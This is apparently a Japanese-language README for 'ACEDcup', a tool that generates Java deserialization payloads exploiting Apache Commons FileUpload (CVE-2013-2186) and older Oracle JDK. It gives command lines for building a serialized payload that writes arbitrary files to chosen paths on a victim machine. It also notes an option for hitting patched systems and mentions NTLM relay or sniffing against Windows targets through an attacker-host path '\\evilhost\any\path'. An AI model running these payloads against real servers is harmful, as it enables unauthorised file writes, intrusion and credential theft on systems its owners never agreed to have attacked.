
Java Binary Deserialization攻撃(Commons FileUpload使用、CVE-2013-2186)用のペイロードジェネレーター
ACEDcupツールは、Javaバイナリデシリアライゼーション攻撃(ACED)のためのペイロードジェネレーターです。
Apache Commons FileUpload ver <= 1.3(CVE-2013-2186)およびOracle JDK ver < 7u40 を対象としています。
この攻撃は、ライブラリまたはJavaの新しいバージョンでも機能します。任意のコンテンツを任意のディレクトリにアップロードできますが、 この状況ではファイル名を制御できません(例: upload_f71d3547_72ed_4ae1_90fe_0d319115cd42_00000000.tmp)。ただし、場合によっては有用かもしれません。
また、ターゲットがWindows OSの場合、NTLMリレー/スニッフィング攻撃(\\evilhost\any\pathを使用)を実行することもできます。
1)まず、シリアル化されたペイロードを作成します:
java -jar aced_cup.jar /path/payload /path/target /path/out 1
/path/payload - ペイロードファイルへのパス
/path/target - 被害者マシン上に作成されるファイルへのパス(シリアル化ペイロードに保存されます)
/path/out - シリアル化ペイロードの出力ファイルへのパス
0 - パッチ適用済みシステムを攻撃する場合、nullバイト終端を無効にします(デフォルトではnullバイトあり)
2)次に、シリアル化ペイロードをシリアル化リーダーに設定します(自ホストで脆弱性をテストする場合):
java -jar ser_reader serialized_payload.txt
ser_readerはペイロードのデシリアライズを試み、ライブラリの脆弱性により指定されたディレクトリに新しいファイルを作成します。
java -jar aced_cup.jar D:\\cup_exploit\\payload.txt /home/user/test/any_name.txt D:\\cup_exploit\\serialized_payload.txt
java -jar ser_reader D:\\cup_exploit\\serialized_payload.txt